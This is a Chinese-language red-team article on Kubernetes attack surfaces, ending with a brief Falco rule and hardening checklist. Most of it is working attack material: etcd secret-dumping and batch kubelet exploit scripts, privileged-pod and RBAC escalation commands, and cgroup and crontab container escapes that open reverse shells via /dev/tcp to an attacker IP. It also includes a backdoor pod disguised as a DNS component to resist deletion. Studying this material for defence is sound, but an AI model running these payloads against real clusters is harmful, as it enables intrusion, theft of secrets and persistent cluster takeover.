首页 / 文章 / 云与架构

Kubernetes攻击面全面剖析:从Pod逃逸到集群接管

引言

Kubernetes 已成为云原生时代的操作系统。然而,其复杂的架构和大量的可配置组件为攻击者提供了广阔的攻击面。从配置错误的 RBAC 到未受保护的 etcd,从 Service Account 令牌滥用到 kubelet API 未授权访问——每一条路径都可能导致集群级别的灾难性后果。本文将从红队视角系统梳理 K8s 集群的完整攻击面,辅以实战案例与代码演示。

一、Kubernetes 架构安全模型

1.1 控制平面组件

┌──────────────────────────────────────────────┐
│                   Control Plane               │
│  ┌─────────┐  ┌──────────┐  ┌─────────────┐  │
│  │API Server│  │Controller│  │  Scheduler  │  │
│  │  :6443   │  │ Manager  │  │             │  │
│  └────┬─────┘  └──────────┘  └─────────────┘  │
│       │                                        │
│  ┌────┴─────┐                                  │
│  │   etcd   │  :2379                           │
│  └──────────┘                                  │
└──────────────────────────────────────────────┘
          │
          ├──── Worker Node 1 ──── kubelet :10250
          ├──── Worker Node 2 ──── kubelet :10250
          └──── Worker Node N ──── kubelet :10250

控制平面的每个组件都是一个潜在的攻击入口。API Server 是整个集群的"咽喉",一旦失陷意味着全集群的完全控制权。

1.2 核心攻击面映射

组件 默认端口 攻击向量 危害等级
API Server 6443/8080 未授权访问、RBAC绕过、匿名访问 严重
etcd 2379/2380 未授权读写、数据窃取 严重
kubelet 10250/10255 命令执行、容器逃逸 严重
kube-proxy 10256/10249 配置篡改、流量劫持
Dashboard 随机 未授权访问、SSRF

二、API Server 攻击面

2.1 匿名访问探测

许多运维人员为了调试便利会开启匿名访问,这成为攻击者的首要突破口:

# 探测匿名访问
curl -k https://<api-server>:6443/api/v1/namespaces

# 使用 kubectl 匿名访问
kubectl --server=https://<api-server>:6443 \
  --insecure-skip-tls-verify=true \
  --token="" \
  get pods --all-namespaces

2.2 真实案例:某金融企业集群暴露

在某次红队行动中,通过 Internet 扫描发现一个暴露在公网的 API Server(6443端口)。尝试匿名访问后,发现 system:anonymous 用户被错误地绑定了 cluster-admin 角色:

# 攻击者发现的危险绑定
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: anonymous-admin
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
- apiGroup: rbac.authorization.k8s.io
  kind: User
  name: system:anonymous

攻击者只需一行命令即获得全集群控制:

kubectl config set-cluster target --server=https://vuln-api:6443 --insecure-skip-tls-verify
kubectl config set-credentials anonymous
kubectl config set-context attack --cluster=target --user=anonymous
kubectl config use-context attack
kubectl get secrets --all-namespaces

三、etcd 攻击面

3.1 etcd 未授权访问

etcd 存储集群所有状态数据,包括 Secret。默认 2379 端口如不进行 TLS 双向认证,可直接读写:

# 探测 etcd 2379 端口
curl http://<etcd-ip>:2379/v2/keys/

# 使用 etcdctl 读取所有密钥
ETCDCTL_API=3 etcdctl \
  --endpoints=http://<etcd-ip>:2379 \
  get "" --prefix --keys-only

# 提取 Kubernetes Secrets
ETCDCTL_API=3 etcdctl \
  --endpoints=http://<etcd-ip>:2379 \
  get /registry/secrets/<namespace>/<secret-name>

# 解密 Service Account Token
cat token.b64 | base64 -d

3.2 实战案例:云上托管集群数据泄露

某企业在阿里云 ACK 使用自建 etcd 集群,2379 端口未设置安全组规则,被 Shodan 收录。红队获取 etcd 访问后,成功提取了集群内所有 Namespace 的 Secret:

#!/usr/bin/env python3
"""etcd Secret 提取脚本"""
import etcd3
import base64
import json

def extract_secrets(etcd_host, etcd_port=2379):
    client = etcd3.client(host=etcd_host, port=etcd_port)
    secrets = []
    
    for value, metadata in client.get_prefix('/registry/secrets/'):
        if value:
            try:
                secret_data = json.loads(value.decode('utf-8'))
                name = secret_data.get('metadata', {}).get('name', 'unknown')
                namespace = secret_data.get('metadata', {}).get('namespace', 'default')
                # 提取 data 字段
                data = secret_data.get('data', {})
                decoded = {k: base64.b64decode(v).decode('utf-8', errors='ignore') 
                          for k, v in data.items()}
                secrets.append({
                    'namespace': namespace,
                    'name': name,
                    'data': decoded
                })
            except Exception as e:
                print(f"解析失败: {e}")
    
    return secrets

if __name__ == '__main__':
    result = extract_secrets('192.168.x.x')
    for s in result:
        print(f"[{s['namespace']}] {s['name']}: {s['data']}")

四、kubelet API 攻击

4.1 kubelet 10250 端口深入利用

kubelet 的 10250 端口默认不要求认证(K8s 1.22 之前),即使在新版本中很多集群也关闭了认证:

# 探测 kubelet 是否允许匿名访问
curl -k https://<node-ip>:10250/pods

# 获取节点上所有 Pod
curl -k https://<node-ip>:10250/runningpods/

# 命令执行(在 Pod 容器中执行命令)
curl -k -XPOST "https://<node-ip>:10250/run/<namespace>/<pod>/<container>" \
  -d "cmd=id"

# 更完整的利用:反弹 Shell
curl -k -XPOST "https://<node-ip>:10250/run/<namespace>/<pod>/<container>" \
  -d "cmd=bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1'"

4.2 Kubelet 利用工具化

// kubelet-exploit.go — 批量 kubelet 利用
package main

import (
    "crypto/tls"
    "fmt"
    "io/ioutil"
    "net/http"
    "strings"
)

func exploitKubelet(nodeIP, namespace, pod, container, cmd string) string {
    url := fmt.Sprintf("https://%s:10250/run/%s/%s/%s", 
        nodeIP, namespace, pod, container)
    
    tr := &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    }
    client := &http.Client{Transport: tr}
    
    resp, err := client.Post(url, "application/x-www-form-urlencoded",
        strings.NewReader("cmd="+cmd))
    if err != nil {
        return fmt.Sprintf("Error: %v", err)
    }
    defer resp.Body.Close()
    
    body, _ := ioutil.ReadAll(resp.Body)
    return string(body)
}

func main() {
    nodes := []string{"10.0.1.10", "10.0.1.11", "10.0.1.12"}
    for _, node := range nodes {
        result := exploitKubelet(node, "kube-system", 
            "coredns-xxxxx", "coredns", "id")
        fmt.Printf("[%s] %s\n", node, result)
    }
}

4.3 真实案例:供应链攻击中的 kubelet 利用

某知名 DevOps 平台存在 SSRF 漏洞,攻击者通过该 SSRF 打到了集群内网中的 kubelet 10250 端口:

攻击路径:
外部 Web 应用 SSRF → 内网 kubelet:10250/run/ → Pod 内命令执行
→ Service Account Token 窃取 → API Server 认证通过 → 集群接管

五、Service Account 利用链

5.1 Token 挂载与滥用

默认每个 Pod 都会在 /var/run/secrets/kubernetes.io/serviceaccount/ 挂载 SA Token:

# 在 Pod 内提取 SA Token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CA_CERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
API_SERVER=https://kubernetes.default.svc

# 探测当前权限
curl -s --cacert $CA_CERT -H "Authorization: Bearer $TOKEN" \
  "$API_SERVER/api/v1/namespaces/default/pods"

# 列举所有资源
kubectl auth can-i --list --token=$TOKEN

# 如果权限足够宽,创建特权 Pod
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: evil-privileged
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: escape
    image: alpine
    command: ["/bin/sh"]
    args: ["-c", "nsenter --mount=/proc/1/ns/mnt -- chroot /mnt bash"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host
      mountPath: /mnt
  volumes:
  - name: host
    hostPath:
      path: /
EOF

5.2 RBAC 权限提升

# 查询可创建 RoleBinding 的权限
kubectl auth can-i create rolebindings --all-namespaces

# 如果可创建,将自己提权为 cluster-admin
kubectl create clusterrolebinding evil-binding \
  --clusterrole=cluster-admin \
  --serviceaccount=default:compromised-sa

六、Pod 逃逸技术

6.1 特权容器逃逸

# 如果 Pod 以 privileged 模式运行且挂载了宿主机文件系统
# 使用 nsenter 逃逸到宿主机
nsenter --target 1 --mount --uts --ipc --net --pid -- bash

# 使用 cgroups release_agent 逃逸
mkdir -p /tmp/cgrp
mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release

host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent

echo '#!/bin/sh' > /cmd
echo 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' >> /cmd
chmod +x /cmd

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

6.2 /proc 文件系统利用

# 容器中访问 /proc/1/root 可访问宿主机根文件系统(CAP_SYS_ADMIN)
ls -la /proc/1/root/

# 通过 /proc/1/root 写入 cron job 获取宿主机权限
echo '* * * * * root bash -c "bash -i >& /dev/tcp/10.0.0.1/5555 0>&1"' \
  >> /proc/1/root/etc/crontab

七、集群横向移动

7.1 NodePort/ClusterIP 滥用

# 扫描集群内网服务
for i in $(seq 1 255); do
  curl -s --connect-timeout 1 http://10.0.$i.1:2379 && echo "etcd found at 10.0.$i.1"
done

# 访问内部服务
curl http://kube-state-metrics.kube-system:8080/metrics
curl http://prometheus.monitoring:9090/api/v1/query?query=kube_secret_info

7.2 持久化后门

# 创建不可见的特权后门 Pod(利用 finalizers 防止删除)
apiVersion: v1
kind: Pod
metadata:
  name: kube-system-backdoor
  namespace: kube-system
  labels:
    app: kube-dns  # 伪装成 DNS 组件
  finalizers:
  - kubernetes.io/pod  # 阻止删除
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: backdoor
    image: nginx:alpine
    command: ["/bin/sleep", "infinity"]
    securityContext:
      privileged: true

八、防御方案

8.1 检测规则

# Falco 规则:检测特权 Pod 创建
- rule: Create Privileged Pod
  desc: Detect an attempt to start a pod with a privileged container
  condition: >
    ka.target.resource=pods and 
    ka.req.pod.containers.privileged=true and 
    not ka.req.pod.containers.image.repository in (trusted_images)
  output: "Privileged pod created (user=%ka.user.name pod=%ka.resp.name)"
  priority: CRITICAL
  tags: [mitre_privilege_escalation]

8.2 加固清单

加固项 具体措施 紧急度
API Server 关闭 8080 非安全端口,强制 RBAC,禁用匿名访问 紧急
etcd 启用 TLS 双向认证,使用独立安全组,限制访问 IP 紧急
kubelet 开启 Webhook 认证+授权,关闭匿名访问 紧急
SA Token 限制 automountServiceAccountToken,使用最小权限 RBAC
网络策略 实施零信任网络模型,限制 Pod 间通信
Pod 安全 启用 Pod Security Admission(restricted 模式)

结语

Kubernetes 攻击面如同一棵根系复杂的大树,任何一条根系的脆弱都可能动摇整棵大树。安全从业者需要建立"纵深防御+攻击面收敛"的双重思维模式:一方面通过 RBAC 最小权限、网络策略隔离、Pod 安全标准进行防御;另一方面持续收敛 API Server、etcd、kubelet 等核心组件的暴露面。只有从攻击者的视角理解集群,才能真正构建起稳固的云原生防线。